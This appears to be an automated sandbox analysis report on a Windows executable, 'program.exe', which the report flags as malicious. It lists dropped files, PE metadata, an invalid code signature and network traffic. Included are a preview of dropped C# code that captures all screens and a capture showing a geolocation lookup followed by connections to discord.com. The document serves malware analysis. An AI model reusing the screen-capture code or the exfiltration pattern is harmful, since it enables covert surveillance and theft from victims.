Preview:	.using System;..using System.Collections.Generic;..using System.Drawing;..using System.Windows.Forms;....public class Screenshot..{.. public static List<Bitmap> CaptureScreens().. {.. var results = new List<Bitmap>();.. var allScreens = Screen.AllScreens;.... foreach (Screen screen in allScreens).. {.. try.. {.. Rectangle bounds = screen.Bounds;.. using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)).. {.. using (Graphics graphics = Graphics.FromImage(bitmap)).. {.. graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);.. }.... results.Add((Bitmap)bitmap.Clone());.. }.. }.. catch (Exception).. {.. // Handle any exceptions here.. }.. }.... return results;..

C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (604), with no line terminators
Category:	dropped
Size (bytes):	607
Entropy (8bit):	5.3183786158253366
Encrypted:	false
SSDEEP:	12:p37Lvkmb6KOkqe1xBkrk+ikOfVYWZEifVV:V3ka6KOkqeFkOfzEifH
MD5:	822DB3FF250428786811115C9E2BE03C
SHA1:	8CF4EBEE47384B6194B417C2BC178794ABE9C4D1
SHA-256:	709DA68C368E585999EA8F1403DE20C414CE3396BA983A6D7C6FDCBDC97DEDD9
SHA-512:	C6AA23DDF82A18FE19FA0C77EDCABD4F7236AE420803B070282C8B866BC5A369B7AA76C1075BFBE4D1F21FC49E27D220E6A18835381304CE8488DC517D8F76DE
Malicious:	true
Reputation:	unknown
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.0.cs"

C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.158720554758396
Encrypted:	false
SSDEEP:	48:6x7oEAtf0KhzBU/zf6mtJYN0RpW1ulLRa3yqq:LNz0GmwOxnK
MD5:	5573F8EB21DF323FA10495D5FCA8C20E
SHA1:	D959C1F23066B129BC1E88E3CA3D9843D0A6A221
SHA-256:	B7A9F45D2A1A771078C2435DB62E5043B69E5DD81FFA16F112E32F3FAF6FCAFD
SHA-512:	AE59E169703CF979DAD2DB9C346340F280DED6E472B9D946CBDEE85F3D4610D6F838EA1EDFD0FFECFCA299E50F0A9FB25997AC7F1DB1AF7C15E3EC7A7F908656
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...O.9g...........!.................&... ...@....... ....................................@..................................%..K....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......<!...............................................................0..........s.....(...........8...........o.......(......(....s........(..........(......(....s....~......(....o........,...o........o....t....o........,...o.......&.....X.......i?k.......(....B.(j........9.Q...........{.........(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob...........G.........%3............................................

C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (708), with CRLF, CR line terminators
Category:	modified
Size (bytes):	1149
Entropy (8bit):	5.494287227791722
Encrypted:	false
SSDEEP:	24:KJfNkFGkId3ka6KOkqeFkOfzEifOKax5DqBVKVrdFAMBJTH:uNk/kka6NkqeFkyzEuOK2DcVKdBJj
MD5:	351F2263AE3B5F13CABD4BA7B4DFAD6B
SHA1:	5DEDAB24D1FBD0620889FD42D701596EE0282263
SHA-256:	0D6D72691CA8A93E0818CE251A4937FD95E69EB2D73E4E277C3F6E1386C9247D
SHA-512:	2AA0C24BD7D0EA83CA1E08ADE84E1847FB2C551DB1BF159B5CCA94F5760ED0EE14084EE0FB3245157F0BD4B6BD41B464F446F1340C1A3FC4CA38516F6FAD0845
Malicious:	false
Reputation:	unknown
Preview:	.C:\Users\user\AppData\Local\Temp\..........> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longe

\Device\ConDrv

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.331807756485642
Encrypted:	false
SSDEEP:	3:lyAZFXZDLsFzAXmZrCZDL4QXAVJK4v:lyqBtoJAXmoZDL4CA1v
MD5:	195D02DA13D597A52F848A9B28D871F6
SHA1:	D048766A802C61655B9689E953103236EACCB1C7
SHA-256:	ADE5C28A2B27B13EFB1145173481C1923CAF78648E49205E7F412A2BEFC7716A
SHA-512:	1B9EDA54315B0F8DB8E43EC6E78996464A90E84DE721611647E8395DBE259C282F06FB6384B08933F8F0B452B42E23EE5A7439974ACC5F53DAD64B08D39F4146
Malicious:	false
Reputation:	unknown
Preview:	..Service Version: 0.0.0.0..Engine Version: 0.0.0.0....No engine/signature is currently loaded...

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.993357815338302
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	program.exe
File size:	7'954'796 bytes
MD5:	3e6865657b29faea3a355c710f0aad45
SHA1:	ad9b98fa0f96685abc17aaab7fe4d65ac8fe34f7
SHA256:	2c48f7bc874f1c812c0031519e756c28f940a58b2f64cdb40a08f1ccc798f671
SHA512:	b360b5a244e83ee95719d7e781b9a49a29a5251e936619786b0151d0992aee33746109b3a8b0ab8d18c2788b738892c9b296c8c601025e16d850d730837b1615
SSDEEP:	196608:7YHYUNwfI9jUCzi4H1qSiXLGVi7DMgpZ3Q0VMwICEc/jL:4CIHziK1piXLGVE4Ue0VJ3
TLSH:	3A863301BA8019F6F6FB9A3DC8928019C47236A217A0D6FB172CD2790D735FA5D36763
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n=..\.Z\.Z\.Za$.[-\.Za$.[.\.Za$.[ \.Z:..Z)\.Z:..[#\.Z:..[;\.Z:..[.\.Za$.[!\.Z\.Z.\.Zb..[3\.Zb..[+\.ZRich*\.Z........PE..d..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x14000cdb0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x671A1EED [Thu Oct 24 10:18:21 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	72c4e339b7af8ab1ed2eb3821c98713a

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	29/09/2021 01:00:00 29/09/2024 00:59:59
Subject Chain	CN=Akeo Consulting, O=Akeo Consulting, S=Donegal, C=IE, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=IE, SERIALNUMBER=407950
Version:	3
Thumbprint MD5:	5C82B2D08EFE6EE0794B52D4309C5F37
Thumbprint SHA-1:	3DBC3A2A0E9CE8803B422CFDBC60ACD33164965D
Thumbprint SHA-256:	60E992275CC7503A3EBA5D391DB8AEAAAB001402D49AEA3F7F5DA3706DF97327
Serial:	00BFB15001BBF592D4962A7797EA736FA3

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F26ACB08E6Ch
dec eax
add esp, 28h
jmp 00007F26ACB08A8Fh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007F26ACB09238h
test eax, eax
je 00007F26ACB08C33h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F26ACB08C17h
dec eax
cmp ecx, eax
je 00007F26ACB08C26h
xor eax, eax
dec eax
cmpxchg dword ptr [0003577Ch], ecx
jne 00007F26ACB08C00h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F26ACB08C09h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007F26ACB08C19h
mov byte ptr [00035765h], 00000001h
call 00007F26ACB08365h
call 00007F26ACB09650h
test al, al
jne 00007F26ACB08C16h
xor al, al
jmp 00007F26ACB08C26h
call 00007F26ACB1616Fh
test al, al
jne 00007F26ACB08C1Bh
xor ecx, ecx
call 00007F26ACB09660h
jmp 00007F26ACB08BFCh
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [0003572Ch], 00000000h
mov ebx, ecx
jne 00007F26ACB08C79h
cmp ecx, 01h
jnbe 00007F26ACB08C7Ch
call 00007F26ACB091AEh
test eax, eax
je 00007F26ACB08C3Ah
test ebx, ebx
jne 00007F26ACB08C36h
dec eax
lea ecx, dword ptr [00035716h]
call 00007F26ACB15F62h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3ca5c	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47000	0x94c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x44000	0x2250	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x793d24	0x2448
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x48000	0x764	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3a080	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x39f40	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x4a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29f00	0x2a000	2a7ae207b6295492e9da088072661752	False	0.5514439174107143	data	6.487454925709845	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0x12a50	0x12c00	9c4484e90874011862810022cd067d0b	False	0.5244791666666667	data	5.752673446570296	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x53f8	0xe00	dba0caeecab624a0ccc0d577241601d1	False	0.134765625	data	1.8392217063172436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x44000	0x2250	0x2400	f5559f14427a02f0a5dbd0dd026cae54	False	0.470703125	data	5.291665041994019	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x47000	0x94c	0xa00	e7b5af0a11bf12adf33a686e43d0f46b	False	0.425	data	5.109629462188209	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x48000	0x764	0x800	816c68eeb419ee2c08656c31c06a0fff	False	0.5576171875	data	5.2809528666624175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x470a0	0x39c	data			0.44696969696969696
RT_MANIFEST	0x4743c	0x50d	XML 1.0 document, ASCII text			0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, ShutdownBlockReasonCreate, MsgWaitForMultipleObjects, ShowWindow, DestroyWindow, RegisterClassW, DefWindowProcW, PeekMessageW, DispatchMessageW, TranslateMessage, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	GetACP, IsValidCodePage, GetStringTypeW, GetFileAttributesExW, SetEnvironmentVariableW, FlushFileBuffers, GetCurrentDirectoryW, LCMapStringW, CompareStringW, FlsFree, GetOEMCP, GetCPInfo, GetModuleHandleW, MulDiv, FormatMessageW, GetLastError, GetModuleFileNameW, LoadLibraryExW, SetDllDirectoryW, CreateSymbolicLinkW, GetProcAddress, GetEnvironmentStringsW, GetCommandLineW, GetEnvironmentVariableW, ExpandEnvironmentStringsW, DeleteFileW, FindClose, FindFirstFileW, FindNextFileW, GetDriveTypeW, RemoveDirectoryW, GetTempPathW, CloseHandle, QueryPerformanceCounter, QueryPerformanceFrequency, WaitForSingleObject, Sleep, GetCurrentProcess, TerminateProcess, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LocalFree, SetConsoleCtrlHandler, K32EnumProcessModules, K32GetModuleFileNameExW, CreateFileW, FindFirstFileExW, GetFinalPathNameByHandleW, MultiByteToWideChar, WideCharToMultiByte, FlsSetValue, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, HeapReAlloc, WriteConsoleW, SetEndOfFile, CreateDirectoryW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ReadFile, GetFullPathNameW, SetStdHandle, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 17, 2024 11:22:40.995274067 CET	49743	80	192.168.2.4	208.95.112.1
Nov 17, 2024 11:22:41.000155926 CET	80	49743	208.95.112.1	192.168.2.4
Nov 17, 2024 11:22:41.000231028 CET	49743	80	192.168.2.4	208.95.112.1
Nov 17, 2024 11:22:41.000364065 CET	49743	80	192.168.2.4	208.95.112.1
Nov 17, 2024 11:22:41.005729914 CET	80	49743	208.95.112.1	192.168.2.4
Nov 17, 2024 11:22:41.646361113 CET	80	49743	208.95.112.1	192.168.2.4
Nov 17, 2024 11:22:41.688870907 CET	49743	80	192.168.2.4	208.95.112.1
Nov 17, 2024 11:22:41.867341995 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:41.867386103 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:41.867495060 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:41.895235062 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:41.895255089 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.515476942 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.515989065 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.516005993 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.517113924 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.517200947 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.518805027 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.518913984 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.519176006 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.519196987 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.519246101 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.519269943 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.519427061 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.519459009 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.519645929 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.519686937 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.519769907 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.519793987 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.519813061 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.519824028 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.519862890 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.519882917 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.519923925 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.519937038 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.519948006 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.519957066 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.519967079 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.519970894 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.520019054 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520030975 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.520076036 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520085096 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.520116091 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520128965 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.520158052 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520174980 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.520250082 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520271063 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.520287991 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520298004 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.520308971 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520313978 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.520318985 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520323038 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.520370960 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520384073 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.520416021 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520423889 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.520433903 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520442963 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.520452023 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520500898 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520509005 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.520524979 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520564079 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520600080 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520632029 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520672083 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520713091 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520750999 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520788908 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.520831108 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.524710894 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.524864912 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.524893999 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.524914980 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.524924994 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.524979115 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.525011063 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.525043964 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.525070906 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.525116920 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.525187016 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.525223970 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.534970999 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.535166979 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.535183907 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.535218000 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.535227060 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:42.535243034 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.535281897 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.535334110 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.535366058 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:42.535679102 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:43.386673927 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:43.386856079 CET	443	49744	162.159.137.232	192.168.2.4
Nov 17, 2024 11:22:43.386931896 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:43.387562037 CET	49744	443	192.168.2.4	162.159.137.232
Nov 17, 2024 11:22:43.398077011 CET	49743	80	192.168.2.4	208.95.112.1
Nov 17, 2024 11:22:43.403337955 CET	80	49743	208.95.112.1	192.168.2.4
Nov 17, 2024 11:22:43.403388023 CET	49743	80	192.168.2.4	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 17, 2024 11:22:40.987288952 CET	56010	53	192.168.2.4	1.1.1.1
Nov 17, 2024 11:22:40.994477034 CET	53	56010	1.1.1.1	192.168.2.4
Nov 17, 2024 11:22:41.859014988 CET	53297	53	192.168.2.4	1.1.1.1
Nov 17, 2024 11:22:41.865782022 CET	53	53297	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 17, 2024 11:22:40.987288952 CET	192.168.2.4	1.1.1.1	0x1f56	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:22:41.859014988 CET	192.168.2.4	1.1.1.1	0x81ee	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 17, 2024 11:22:40.994477034 CET	1.1.1.1	192.168.2.4	0x1f56	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:22:41.865782022 CET	1.1.1.1	192.168.2.4	0x81ee	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:22:41.865782022 CET	1.1.1.1	192.168.2.4	0x81ee	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:22:41.865782022 CET	1.1.1.1	192.168.2.4	0x81ee	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:22:41.865782022 CET	1.1.1.1	192.168.2.4	0x81ee	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:22:41.865782022 CET	1.1.1.1	192.168.2.4	0x81ee	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discord.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	208.95.112.1	80	7324	C:\Users\user\Desktop\program.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 11:22:41.000364065 CET	116	OUT	GET /json/?fields=225545 HTTP/1.1 Host: ip-api.com Accept-Encoding: identity User-Agent: python-urllib3/2.2.3
Nov 17, 2024 11:22:41.646361113 CET	375	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 10:22:41 GMT Content-Type: application/json; charset=utf-8 Content-Length: 198 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 54 65 78 61 73 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 22 2c 22 72 65 76 65 72 73 65 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 30 2e 73 74 61 74 69 63 2e 71 75 61 64 72 61 6e 65 74 2e 63 6f 6d 22 2c 22 6d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 70 72 6f 78 79 22 3a 66 61 6c 73 65 2c 22 71 75 65 72 79 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 30 22 7d Data Ascii: {"status":"success","country":"United States","regionName":"Texas","timezone":"America/Chicago","reverse":"173.254.250.70.static.quadranet.com","mobile":false,"proxy":false,"query":"173.254.250.70"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
